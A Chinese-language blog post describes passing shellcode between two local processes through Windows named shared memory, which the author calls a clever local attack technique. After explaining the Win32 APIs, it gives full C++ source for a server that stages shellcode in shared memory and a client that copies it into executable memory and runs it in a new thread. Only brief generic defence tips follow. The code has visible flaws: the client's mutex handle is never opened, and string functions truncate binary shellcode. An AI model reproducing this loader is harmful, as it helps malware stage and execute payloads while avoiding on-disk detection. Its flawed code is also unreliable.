C++ 共用記憶體ShellCode跨程序傳輸

2023-12-06 21:00:36

在電腦保安領域,ShellCode是一段用於利用系統漏洞或執行特定任務的機器碼。為了增加攻擊的難度,研究人員經常探索新的傳遞ShellCode的方式。本文介紹了一種使用共用記憶體的方法,通過該方法,兩個本地程序可以相互傳遞ShellCode,從而實現一種巧妙的本地傳輸手段。如果你問我為何在本地了還得這樣傳,那我只能說在某些時候我們可能會將ShellCode打散,而作為使用者端也不需要時時刻刻在本地存放ShellCode程式碼,這能保證使用者端的安全性。

伺服器端部分

CreateFileMapping

用於建立一個檔案對映物件,將檔案或者其他核心物件對映到程序的地址空間。這個函數通常用於共用記憶體的建立。

下面是 CreateFileMapping 函數的基本語法:

HANDLE CreateFileMapping(
  HANDLE                hFile,
  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  DWORD                 flProtect,
  DWORD                 dwMaximumSizeHigh,
  DWORD                 dwMaximumSizeLow,
  LPCTSTR               lpName
);

引數說明:

  • hFile: 檔案控制程式碼,可以是一個磁碟檔案或者其他核心物件的控制程式碼。如果是 INVALID_HANDLE_VALUE,則表示建立一個只在記憶體中的對映,而不與檔案關聯。
  • lpFileMappingAttributes: 安全屬性,一般為 NULL,表示使用預設的安全設定。
  • flProtect: 記憶體保護選項,指定記憶體頁的保護屬性,例如讀、寫、執行等。常見的值有 PAGE_READONLYPAGE_READWRITEPAGE_EXECUTE_READ 等。
  • dwMaximumSizeHighdwMaximumSizeLow: 指定檔案對映物件的最大大小。如果對映的是一個檔案,可以通過這兩個引數指定檔案對映的大小。
  • lpName: 檔案對映物件的名字,如果是通過共用記憶體進行跨程序通訊,可以通過這個名字在不同的程序中開啟同一個檔案對映物件。

成功呼叫 CreateFileMapping 會返回一個檔案對映物件的控制程式碼,失敗則返回 NULL。通常建立成功後,可以通過 MapViewOfFile 函數將檔案對映物件對映到當前程序的地址空間中,進行讀寫操作。

MapViewOfFile

用於將一個檔案對映物件對映到呼叫程序的地址空間中,使得程序可以直接操作對映區域的內容。

以下是 MapViewOfFile 函數的基本語法:

LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD  dwDesiredAccess,
  DWORD  dwFileOffsetHigh,
  DWORD  dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
);

引數說明:

  • hFileMappingObject: 檔案對映物件的控制程式碼,這個控制程式碼通常是通過 CreateFileMapping 函數建立得到的。
  • dwDesiredAccess: 對映區域的存取許可權,常見的值有 FILE_MAP_READFILE_MAP_WRITEFILE_MAP_EXECUTE
  • dwFileOffsetHighdwFileOffsetLow: 檔案對映的起始位置。在這裡,通常指定為0,表示從檔案的開頭開始對映。
  • dwNumberOfBytesToMap: 指定對映的位元組數,通常可以設定為 0 表示對映整個檔案。

成功呼叫 MapViewOfFile 會返回對映檢視的起始地址,失敗則返回 NULL。對映成功後,可以直接通過返回的地址進行讀寫操作。當不再需要對映時,應該通過 UnmapViewOfFile 函數解除對映。

CreateMutex

用於建立一個互斥體物件。互斥體(Mutex)是一種同步物件,用於確保在多執行緒或多程序環境中對資源的互斥存取,防止多個執行緒或程序同時存取共用資源,以避免資料競爭和衝突。

以下是 CreateMutex 函數的基本語法:

HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL                  bInitialOwner,
  LPCTSTR               lpName
);

引數說明:

  • lpMutexAttributes: 一個指向 SECURITY_ATTRIBUTES 結構的指標,決定了互斥體的安全性。通常可以設為 NULL,表示使用預設的安全描述符。
  • bInitialOwner: 一個布林值,指定互斥體的初始狀態。如果設定為 TRUE,表示建立互斥體時已經擁有它,這通常用於建立一個已經鎖定的互斥體。如果設定為 FALSE,則表示建立互斥體時未擁有它。
  • lpName: 一個指向包含互斥體名稱的空終止字串的指標。如果為 NULL,則建立一個匿名的互斥體;否則,建立一個具有指定名稱的互斥體。通過指定相同的名稱,可以在多個程序中共用互斥體。

成功呼叫 CreateMutex 會返回互斥體物件的控制程式碼,失敗則返回 NULL。在使用完互斥體後,應該通過 CloseHandle 函數關閉控制程式碼以釋放資源。

CreateEvent

用於建立一個事件物件。事件物件是一種同步物件,用於實現多執行緒或多程序之間的通訊和同步。通過事件物件,可以使一個或多個執行緒等待某個事件的發生,從而協調它們的執行。

以下是 CreateEvent 函數的基本語法:

HANDLE CreateEvent(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCTSTR               lpName
);

引數說明:

  • lpEventAttributes: 一個指向 SECURITY_ATTRIBUTES 結構的指標,決定了事件物件的安全性。通常可以設為 NULL,表示使用預設的安全描述符。
  • bManualReset: 一個布林值,指定事件物件的復位型別。如果設定為 TRUE,則為手動復位;如果設定為 FALSE,則為自動復位。手動復位的事件需要通過 ResetEvent 函數手動將其重置為非觸發狀態,而自動復位的事件會在一個等待執行緒被釋放後自動復位為非觸發狀態。
  • bInitialState: 一個布林值,指定事件物件的初始狀態。如果設定為 TRUE,表示建立事件物件時已經處於觸發狀態;如果設定為 FALSE,則表示建立事件物件時處於非觸發狀態。
  • lpName: 一個指向包含事件物件名稱的空終止字串的指標。如果為 NULL,則建立一個匿名的事件物件;否則,建立一個具有指定名稱的事件物件。通過指定相同的名稱,可以在多個程序中共用事件物件。

成功呼叫 CreateEvent 會返回事件物件的控制程式碼,失敗則返回 NULL。在使用完事件物件後,應該通過 CloseHandle 函數關閉控制程式碼以釋放資源。

WaitForSingleObject

用於等待一個或多個核心物件的狀態變為 signaled。核心物件可以是事件、互斥體、號誌等等。

以下是 WaitForSingleObject 函數的基本語法:

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

引數說明:

  • hHandle: 要等待的核心物件的控制程式碼。可以是事件、互斥體、號誌等。
  • dwMilliseconds: 等待的時間,以毫秒為單位。如果設為 INFINITE,表示無限等待,直到核心物件變為 signaled。

WaitForSingleObject 返回一個 DWORD 型別的值,表示等待的結果。可能的返回值包括:

  • WAIT_OBJECT_0:核心物件已經變為 signaled 狀態。
  • WAIT_TIMEOUT:等待時間已過,但核心物件仍然沒有變為 signaled 狀態。
  • WAIT_FAILED:等待出錯,可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

這個函數是同步函數,呼叫它的執行緒會阻塞,直到等待的物件變為 signaled 狀態或者等待時間超時。

ReleaseMutex

用於釋放之前由 WaitForSingleObjectWaitForMultipleObjects 等函數獲取的互斥體物件的所有權。

以下是 ReleaseMutex 函數的基本語法:

BOOL ReleaseMutex(
  HANDLE hMutex
);

引數說明:

  • hMutex: 要釋放的互斥體物件的控制程式碼。

ReleaseMutex 返回一個 BOOL 型別的值,表示釋放互斥體物件是否成功。如果函數成功,返回值為非零;如果函數失敗,返回值為零。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

互斥體(Mutex)是一種同步物件,用於控制對共用資源的存取。在多執行緒或者多程序環境中,互斥體可以確保在同一時刻只有一個執行緒或者程序能夠存取被保護的共用資源。當一個執行緒或者程序成功獲取互斥體的所有權後,其他試圖獲取該互斥體所有權的執行緒或者程序將會被阻塞,直到擁有互斥體的執行緒或者程序呼叫 ReleaseMutex 釋放互斥體所有權。

SetEvent

用於將指定的事件物件的狀態設定為 signaled(有訊號)。該函數通常與等待函數(如 WaitForSingleObjectWaitForMultipleObjects)一起使用,以實現執行緒之間或程序之間的同步。

以下是 SetEvent 函數的基本語法:

BOOL SetEvent(
  HANDLE hEvent
);

引數說明:

  • hEvent: 事件物件的控制程式碼。

SetEvent 函數返回一個 BOOL 型別的值,表示設定事件物件狀態是否成功。如果函數成功,返回值為非零;如果函數失敗,返回值為零。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

事件物件是一種同步物件,用於線上程或者程序之間發訊號。通過 SetEvent 可以將事件物件的狀態設定為 signaled,表示某個條件已經滿足,其他等待該事件物件的執行緒或者程序可以繼續執行。

有了上述API函數的支援,那麼實現這個伺服器端將變得很容易,如下所示則是伺服器端完整程式碼,通過建立一個共用記憶體池,並等待使用者按下簡單,當鍵盤被按下時則會自動填充緩衝區為特定內容。

#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

char ShellCode[] = "此處是ShellCode";

using namespace std;

int main(int argc,char *argv[])
{
  // 建立共用檔案控制程式碼
  HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
  if (shareFileHandle == NULL)
  {
    return 1;
  }

  //對映緩衝區檢視,得到指向共用記憶體的指標
  LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
  if (lpBuf == NULL)
  {
    CloseHandle(shareFileHandle);
    return 1;
  }

  // 建立互斥器
  H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
  H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");

  // 操作共用記憶體
  while (true)
  {
    getchar();

    // 使用互斥體加鎖,獲得互斥器的擁有權
    WaitForSingleObject(H_Mutex, INFINITE);
    memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
    ReleaseMutex(H_Mutex);                           // 放鎖
    SetEvent(H_Event);                               // 啟用等待的程序
  }

  CloseHandle(H_Mutex);
  CloseHandle(H_Event);
  UnmapViewOfFile(lpBuf);
  CloseHandle(shareFileHandle);
  return 0;
}

使用者端部分

OpenFileMapping

用於開啟一個已存在的檔案對映物件,以便將它對映到當前程序的地址空間。檔案對映物件是一種用於在多個程序間共用記憶體資料的機制。

以下是 OpenFileMapping 函數的基本語法:

HANDLE OpenFileMapping(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

引數說明:

  • dwDesiredAccess: 指定對檔案對映物件的存取許可權。可以使用標準的存取許可權標誌,如 FILE_MAP_READFILE_MAP_WRITE 等。
  • bInheritHandle: 指定控制程式碼是否可以被子程序繼承。如果為 TRUE,子程序將繼承控制程式碼;如果為 FALSE,子程序不繼承控制程式碼。
  • lpName: 指定檔案對映物件的名稱。此名稱在系統內必須是唯一的。如果是 NULL,函數將開啟一個不帶名稱的檔案對映物件。

OpenFileMapping 函數返回一個檔案對映物件的控制程式碼。如果函數呼叫失敗,返回值為 NULL。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

OpenEvent

用於開啟一個已存在的命名事件物件。事件物件是一種同步物件,用於在多個程序間進行通訊和同步。

以下是 OpenEvent 函數的基本語法:

HANDLE OpenEvent(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

引數說明:

  • dwDesiredAccess: 指定對事件物件的存取許可權。可以使用標準的存取許可權標誌,如 EVENT_MODIFY_STATEEVENT_QUERY_STATE 等。
  • bInheritHandle: 指定控制程式碼是否可以被子程序繼承。如果為 TRUE,子程序將繼承控制程式碼;如果為 FALSE,子程序不繼承控制程式碼。
  • lpName: 指定事件物件的名稱。此名稱在系統內必須是唯一的。如果是 NULL,函數將開啟一個不帶名稱的事件物件。

OpenEvent 函數返回一個事件物件的控制程式碼。如果函數呼叫失敗,返回值為 NULL。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

VirtualAlloc

用於在程序的虛擬地址空間中分配一段記憶體區域。這個函數通常用於動態分配記憶體,而且可以選擇性地將其初始化為零。

以下是 VirtualAlloc 函數的基本語法:

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

引數說明:

  • lpAddress: 指定欲分配記憶體的首地址。如果為 NULL,系統將決定分配的地址。
  • dwSize: 指定欲分配記憶體的大小,以位元組為單位。
  • flAllocationType: 指定分配型別。可以是以下常數之一:
    • MEM_COMMIT:將記憶體提交為物理儲存(RAM或磁碟交換檔案)中的一頁或多頁。
    • MEM_RESERVE:為欲保留的記憶體保留地址空間而不分配任何物理儲存。
    • MEM_RESET:將記憶體區域的內容初始化為零。必須與 MEM_COMMIT 一起使用。
  • flProtect: 指定記憶體的存取保護。可以是以下常數之一:
    • PAGE_EXECUTE_READ: 允許讀取並執行存取。
    • PAGE_READWRITE: 允許讀寫存取。

VirtualAlloc 函數返回一個指向分配的記憶體區域的指標。如果函數呼叫失敗,返回值為 NULL。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

CreateThread

用於建立一個新的執行緒。執行緒是執行程式程式碼的單一路徑,一個程序可以包含多個執行緒,這些執行緒可以並行執行。

以下是 CreateThread 函數的基本語法:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

引數說明:

  • lpThreadAttributes: 用於設定執行緒的安全屬性,通常設定為 NULL
  • dwStackSize: 指定執行緒堆疊的大小,可以設定為 0 使用預設堆疊大小。
  • lpStartAddress: 指定執行緒函數的地址,新執行緒將從此地址開始執行。
  • lpParameter: 傳遞給執行緒函數的引數。
  • dwCreationFlags: 指定執行緒的建立標誌,通常設定為 0。
  • lpThreadId: 接收新執行緒的識別符號。如果為 NULL,則不接收執行緒識別符號。

CreateThread 函數返回一個新執行緒的控制程式碼。如果函數呼叫失敗,返回值為 NULL。可以通過呼叫 GetLastError 獲取詳細錯誤資訊。

使用者端同樣建立記憶體對映,使用伺服器端建立的記憶體池,並在裡面取出ShellCode執行後反彈,完整程式碼如下所示;

#include <iostream>
#include <Windows.h>
#include <winbase.h>

using namespace std;

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

int main(int argc, char* argv[])
{
  // 開啟共用檔案控制程式碼
  HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
  if (sharedFileHandle == NULL)
  {
    return 1;
  }

  // 對映快取區檢視,得到指向共用記憶體的指標
  LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if (lpBuf == NULL)
  {
    CloseHandle(sharedFileHandle);
    return 1;
  }

  H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
  if (H_Event == NULL)
  {
    return 1;
  }

  char buffer[4096] = {0};

  while (1)
  {
    HANDLE hThread;

    // 互斥體接收資料並加鎖
    WaitForSingleObject(H_Event, INFINITE);
    WaitForSingleObject(H_Mutex, INFINITE);            // 使用互斥體加鎖
    memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1);   // 接收資料到記憶體
    ReleaseMutex(H_Mutex);                             // 放鎖
    cout << "接收到的ShellCode: " << buffer << endl;

    // 注入ShellCode並執行
    void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(ShellCode, buffer, sizeof(buffer));

    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
  }

  CloseHandle(H_Event);
  CloseHandle(H_Mutex);
  UnmapViewOfFile(lpBuf);
  CloseHandle(sharedFileHandle);
  return 0;
}

潛在風險和安全建議

雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:

  1. 防禦共用記憶體濫用: 作業系統提供了一些機制,如使用 ACL(存取控制列表)和安全描述符,可以限制對共用記憶體的存取。合理設定這些機制可以減輕潛在的濫用風險。
  2. 加強系統安全策略: 使用強密碼、及時更新系統和應用程式、啟用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
  3. 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行為並採取相應措施,對於減緩潛在威脅的影響十分重要。

總結

本文介紹了通過共用記憶體傳遞Shellcode的方法,通過這種巧妙的本地攻擊方式,兩個程序可以在不直接通訊的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。